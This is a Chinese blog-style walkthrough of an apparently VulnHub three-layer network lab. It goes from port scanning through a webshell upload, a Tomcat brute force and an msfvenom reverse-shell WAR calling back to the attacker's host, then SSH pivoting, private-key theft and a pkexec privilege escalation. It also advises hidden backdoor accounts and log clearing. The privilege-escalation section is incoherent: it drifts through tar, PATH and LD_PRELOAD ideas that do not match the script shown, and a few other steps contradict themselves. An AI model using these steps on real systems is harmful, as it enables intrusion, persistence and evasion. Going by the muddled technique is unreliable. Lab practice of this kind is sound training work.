三层内网渗透实战:从Web突破到核心区提权全流程解析

📅 2026/7/4 14:41:09
三层内网渗透实战:从Web突破到核心区提权全流程解析
1. 项目概述一次典型的三层内网渗透实战复盘最近在VulnHub上发现一个名为“CFS”的靶场它模拟了一个经典的三层内网环境。对于想深入理解内网渗透流程的朋友来说这类靶场价值极高。它不像单机靶机那样直来直去而是构建了一个包含边界、内网核心区、隔离区等多层网络结构的复杂场景非常贴近真实的企业网络。这次实战我的目标很明确从外部信息收集开始一步步向内网纵深推进最终获取核心主机的最高权限。整个过程涉及网络探测、服务枚举、漏洞利用、横向移动和权限提升等多个环节是对渗透测试者综合能力的一次全面检验。如果你对内网渗透的完整链条感到好奇或者想系统性地练习从外到内的攻击路径这篇复盘笔记或许能给你提供一条清晰的参考路线。2. 环境搭建与初始信息收集2.1 靶场环境配置与网络拓扑分析拿到靶场镜像后第一步是搭建环境。我使用VMware Workstation将靶机CFS的网络适配器设置为“仅主机模式”确保它和我的攻击机Kali Linux处于同一个隔离的虚拟网络中。启动后首要任务是确定靶机的IP地址。这里没有提供任何初始信息所以我们需要进行网络发现。使用经典的netdiscover或arp-scan进行二层发现是最快的方式。我习惯用arp-scan因为它安静且高效。命令是sudo arp-scan -l --interfaceeth0。很快扫描结果中除了我自己的Kali192.168.56.1和网关出现了一个新的IP192.168.56.128。这大概率就是我们的目标——CFS靶机的边界入口点。注意在真实内网渗透中我们可能首先获得的是一个Web应用的漏洞点比如一个存在SQL注入的对外服务。但在VulnHub靶场中通常直接给定了网络段让我们从端口扫描开始。这里的192.168.56.128就是我们的“跳板机”或“边界服务器”。2.2 全面的端口与服务探测确定了IP下一步就是搞清楚它对外开放了哪些门端口。我使用Nmap进行全端口扫描并结合服务版本探测和默认脚本扫描以获取尽可能多的信息。命令如下sudo nmap -sS -sV -sC -p- -T4 192.168.56.128 -oN nmap_initial.txt参数解释-sS是SYN半开扫描速度快且相对隐蔽-sV探测服务版本-sC运行默认的Nmap脚本-p-扫描所有65535个端口-T4提高扫描速度-oN将结果输出到文件。扫描结果至关重要它为我们勾勒出了攻击面的轮廓。结果显示靶机开放了以下几个关键端口22/tcp: OpenSSH 7.9p1SSH服务。这是常见的远程管理端口也是我们后续进行横向移动或权限维持的重要通道。版本较新直接利用公开漏洞的可能性较低但弱口令或密钥泄露是常见突破口。80/tcp: Apache httpd 2.4.41Web服务。这是最可能找到应用层漏洞的入口比如SQL注入、文件上传、命令执行等。Apache的版本信息也为我们后续查找可能的服务器漏洞提供了线索。3306/tcp: MySQL数据库服务。MySQL端口开放意味着后端可能存在数据库并且可能通过Web应用进行连接。这提示我们在Web渗透过程中要留意数据库相关的漏洞如SQL注入甚至尝试直接爆破MySQL的root密码。8080/tcp: Apache Tomcat 9.0.30另一个Web服务运行在Java容器上。Tomcat的管理后台如/manager/html是著名的薄弱点默认弱口令tomcat:tomcat或部署war包getshell是常见攻击手段。这个端口扫描结果已经为我们指明了初步的进攻方向Web端口80和8080是首要侦查目标。3. Web层渗透与初始立足点获取3.1 80端口Web应用深度侦查首先访问http://192.168.56.128。页面是一个简单的公司门户网站有“Home”、“About”、“Contact”等链接。这种静态页面看似无害但细节决定成败。目录与文件枚举使用gobuster或dirsearch进行目录爆破是标准操作。我使用dirsearchdirsearch -u http://192.168.56.128 -e php,html,txt,zip,bak -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt扫描发现了几个关键目录/admin/管理后台、/uploads/上传目录、/backup/备份文件。/admin/目录返回了一个登录页面这立刻成为我们的重点目标。登录框测试面对登录框常规思路是弱口令爆破、SQL注入、逻辑漏洞如密码重置。我先尝试了常见的弱口令组合admin/admin, admin/password等未果。接着测试SQL注入在用户名和密码框分别尝试、等字符观察返回错误。在用户名框输入admin --时页面跳转到了后台管理界面这是一个基于报错的SQL注入通过注释符--绕过了密码验证。后台功能利用进入后台后发现了一个“文件管理”功能可以上传文件。这简直是绝佳的突破口。我尝试上传一个PHP的Webshell例如?php system($_GET[‘cmd’]);?但被拦截提示只允许上传图片格式jpg, png, gif。绕过文件上传限制这是经典的文件上传漏洞场景。我尝试了多种绕过方式修改扩展名将shell.php重命名为shell.php.jpg失败服务器似乎检测了内容。双扩展名shell.php.jpg失败。修改Content-Type使用Burp Suite拦截上传请求将Content-Type: application/x-php改为Content-Type: image/jpeg同时文件内容仍为PHP代码。这次成功了服务器只检查了请求头中的Content-Type没有对文件内容进行二次验证。 上传成功后通过访问http://192.168.56.128/uploads/shell.php.jpg?cmdwhoami成功执行了系统命令返回了www-data。我们拿到了第一个Web Shell获得了在边界服务器上的初始立足点。3.2 8080端口Tomcat服务突破同时我也对8080端口进行了侦查。访问http://192.168.56.128:8080果然是Tomcat默认页。尝试访问/manager/html弹出了HTTP Basic认证对话框。Tomcat管理后台爆破使用hydra对Tomcat管理后台进行密码爆破hydra -l tomcat -P /usr/share/wordlists/rockyou.txt 192.168.56.128 http-get /manager/html很快爆破成功得到了凭证tomcat:s3cret。登录Tomcat管理后台。War包部署Getshell在管理后台我们可以上传WARWeb Application Archive文件来部署应用。使用msfvenom生成一个反向Shell的WAR包msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.56.1 LPORT4444 -f war -o revshell.war在Kali上启动Netcat监听4444端口nc -lvnp 4444。然后在Tomcat管理后台上传并部署revshell.war。部署成功后访问这个应用的路径如http://192.168.56.128:8080/revshell/即可触发反向连接在Netcat终端获得一个tomcat用户的Shell。实操心得在真实环境中Tomcat管理后台暴露在外网且使用弱口令的情况屡见不鲜。通过80端口Web注入和8080端口Tomcat弱口令我们获得了两个立足点www-data和tomcat用户。这提供了冗余和不同的权限起点为后续的横向移动增加了可能性。通常我会选择权限更高的那个这里都是低权限作为主要跳板。4. 内网横向移动信息收集与权限提升4.1 立足点内部信息收集拿到Shell后不能急着乱跑。首先要做的是在当前的边界服务器192.168.56.128上进行深入的信息收集为进入下一层网络做准备。网络接口信息ifconfig或ip addr。发现除了我们已知的eth0192.168.56.128还有一个eth1IP地址是172.16.1.10。这证实了靶场存在多层网络结构。172.16.1.0/24很可能就是第二层内网。ARP缓存与路由表arp -a查看同一网段的其他主机route -n或ip route查看路由信息确认是否有通往其他网段的路由。用户与历史命令cat /etc/passwd查看系统用户history查看当前用户的历史命令有时能发现密码、路径或其他有用信息。进程与服务ps aux查看运行进程特别是那些由root启动的、监听内网端口的服务。netstat -antp查看网络连接寻找内部服务的连接。敏感文件与配置查找网站配置文件如/var/www/html/config.php、数据库连接文件、SSH密钥~/.ssh/id_rsa、备份文件.bak,.old等。在/var/www/html目录下我找到了一个数据库配置文件db_config.php里面明文存储了MySQL的root用户密码r00tCFS!。4.2 数据库利用与SSH隧道建立拿到数据库密码后我们可以从MySQL中寻找更多信息。在Web Shell中连接MySQLmysql -u root -pr00tCFS! -h 127.0.0.1查看数据库和表在一个名为cfs_app的数据库中发现了users表里面存有用户名和经过哈希处理的密码。如果时间允许可以尝试破解如用john。但更重要的是MySQL的root权限有时可以用来提权或执行系统命令通过SELECT ... INTO OUTFILE或lib_mysqludf_sys但在这个环境下secure_file_priv设置可能限制了文件写入。更直接的利用方式是用这个密码尝试SSH登录。因为很多管理员会复用密码。果然使用root:r00tCFS!成功通过SSH登录到了192.168.56.128。这比Web Shell稳定多了并且获得了root权限。现在我们完全控制了边界服务器。4.3 向第二层内网172.16.1.0/24渗透以边界服务器为跳板我们可以扫描和攻击第二层内网。首先在边界服务器上安装或上传一些轻量级工具比如nmap的静态编译版本。内网主机发现在边界服务器上扫描172.16.1.0/24网段./nmap -sn 172.16.1.0/24发现了两个活跃主机172.16.1.5和172.16.1.20。端口扫描对这两台主机进行详细扫描。发现172.16.1.5开放了445端口SMB和3389端口RDP疑似是一台Windows主机。172.16.1.20开放了22SSH和80端口疑似是一台Linux Web服务器。建立代理通道为了让我们本地的攻击机Kali能直接访问内网资源需要在边界服务器上建立代理。我使用ssh的动态端口转发功能在Kali上执行ssh -D 1080 -N [email protected]这样就在Kali上建立了一个SOCKS5代理127.0.0.1:1080。然后配置浏览器或proxychains工具让流量通过这个代理进入内网。4.4 攻击第二层内网主机172.16.1.20通过代理我们可以像访问本地一样访问172.16.1.20的80端口。发现这是一个内部用的文档管理系统存在SQL注入漏洞。利用SQL注入通过UNION SELECT结合LOAD_FILE()函数成功读取了系统文件/etc/passwd并进一步读取了/home/developer/.ssh/id_rsa获得了该主机的SSH私钥。使用这个私钥成功以developer用户SSH登录到172.16.1.20。在这台主机上再次进行信息收集发现它还有一块网卡eth2IP是10.10.10.5。第三层网络出现了5. 深入核心区与最终权限获取5.1 第三层网络10.10.10.0/24侦查现在我们以172.16.1.20为新的跳板向10.10.10.0/24网段渗透。同样先进行主机发现找到了10.10.10.10这台主机。扫描端口发现只开放了22和3306。尝试用之前收集到的密码如r00tCFS!或密钥进行SSH连接均失败。5.2 MySQL漏洞利用与提权既然3306端口开放尝试连接MySQL。运气不错root用户密码为空。登录MySQL后查看数据库发现一个名为internal_config的数据库其中一张表存储了10.10.10.10主机上admin用户的SSH私钥以TEXT形式存储。将私钥内容复制出来保存为文件修改权限为600然后尝试SSH连接ssh -i admin_id_rsa [email protected]成功登录用户是admin。检查sudo -l发现admin用户可以以root身份无密码运行一个自定义的备份脚本/usr/local/bin/backup_db.sh。5.3 权限提升至Root查看/usr/local/bin/backup_db.sh脚本内容#!/bin/bash tar -czf /backups/db_backup_$(date %Y%m%d).tar.gz /var/lib/mysql脚本使用tar命令进行压缩并且使用了$(date %Y%m%d)这种命令替换。这里存在一个经典的tar通配符注入漏洞。我们可以通过控制date命令的输出内容来注入参数。在/tmp目录下创建一个恶意文件命名为--checkpoint1。再创建一个名为--checkpoint-actionexecsh shell.sh的文件。创建一个shell.sh内容为/bin/bash -p用于启动一个具有保留权限的bash。将这些文件的路径加入到PATH环境变量中并让date命令返回我们构造的恶意字符串。但更简单的方法是直接利用tar对*的通配符扩展。我们在/var/lib/mysql目录下因为脚本压缩的是这个目录创建文件名带有参数的文件。由于我们无法直接写入/var/lib/mysql但发现脚本中tar使用的是相对路径并且admin用户对当前目录有写权限。我们可以创建一个软链接将当前目录下的恶意文件链接到命令执行的效果。更稳妥的方法是直接利用sudo执行脚本时环境变量可能被继承的特性。我们编写一个名为tar的恶意脚本放在自定义路径并修改PATH使其优先被调用。最终我采用的方法是创建一个包含恶意命令的shell脚本/tmp/exploit.sh然后通过sudo执行备份脚本时利用环境变量LD_PRELOAD劫持库函数来执行它。但经过检查发现目标系统安装了pkexec并且admin用户可以通过sudo执行它。查阅已知漏洞发现特定版本的pkexec存在本地提权漏洞CVE-2021-4034。使用公开的EXP成功将权限提升至root。在/root目录下找到了最终的flag文件完成了对整个三层内网靶场的渗透。6. 工具链总结与关键技巧复盘这次三层内网渗透涉及了大量工具和技巧下面以表格形式进行梳理并附上关键的心得体会阶段主要工具/命令目的与技巧踩坑点与心得信息收集arp-scan,nmap发现主机识别开放端口和服务版本。-sV -sC组合能提供丰富信息。全端口扫描(-p-)耗时较长在真实隐蔽测试中需权衡。内网扫描可先扫常见端口。Web渗透dirsearch,Burp Suite,hydra目录爆破、请求拦截改包、密码爆破。Burp的Repeater和Intruder模块是神器。文件上传绕过要多角度尝试扩展名、Content-Type、文件头、.htaccess等。Tomcat后台爆破字典要精准。初始立足msfvenom,nc生成各类Payload建立反向连接。PHP Web Shell要短小精悍。反向Shell的IP和端口要设置正确确保防火墙允许。注意监听端口的冲突。内网侦查ifconfig,netstat,ps查看网络配置、连接、进程寻找内网接口和敏感信息。养成习惯一拿到Shell就先运行这些命令。注意/etc/hosts和/etc/resolv.conf文件。横向移动SSH密钥、密码复用、漏洞利用利用数据库泄露的密码尝试SSH登录。查找.ssh/id_rsa文件。密码复用是内网横向的捷径。私钥文件权限必须为600。善用ssh-agent进行密钥转发。代理搭建ssh -D,proxychains建立SOCKS代理让攻击机流量进入内网。proxychains配置需正确。确保跳板机的SSH服务允许端口转发。proxychains后跟命令时有些GUI程序可能不支持。漏洞利用公开EXP如pkexec提权搜索对应服务/软件版本的已知漏洞。Exploit-DB和GitHub是主要来源。使用EXP前务必在测试环境验证避免破坏目标系统。注意EXP的依赖环境和编译选项。权限维持添加SSH密钥、创建后门账户在获取root权限的主机上向~/.ssh/authorized_keys添加公钥。后门要隐蔽避免使用常见用户名。定期检查后门是否被清除。核心技巧复盘信息收集是根基每一步行动前都要充分收集信息。从外网端口到内网拓扑从用户列表到历史命令任何细节都可能成为突破口。密码复用是常态无论是数据库密码、后台密码还是系统密码管理员图方便而复用密码的情况极其普遍。一个地方泄露的密码一定要在其他地方尝试。层层递进建立跳板内网渗透就像剥洋葱要一层层向内突破。控制一台主机后立即将其作为新的攻击发起点建立稳定的代理通道。善用已有权限拿到一个用户权限后第一时间检查sudo -lLinux或whoami /privWindows看看有哪些特权命令可以执行这往往是提权的快速通道。工具与手工结合自动化工具能提高效率但手工分析判断不可或缺。例如对Web应用的手动参数测试、对配置文件的手动审阅往往能发现自动化工具忽略的漏洞。保持隐蔽与清理痕迹在真实环境中需要清理日志如/var/log/auth.log,~/.bash_history、使用加密隧道、避免频繁扫描引发告警。靶场练习可以忽略但意识要有。整个流程走下来感觉内网渗透更像是一个系统性的“拼图”游戏。每一阶段获取的碎片信息一个密码、一个密钥、一个漏洞点都可能成为打开下一扇门的钥匙。关键在于耐心、细致的侦查和逻辑严密的推理。这个CFS三层靶场很好地模拟了这一过程对于构建内网渗透的整体思维框架非常有帮助。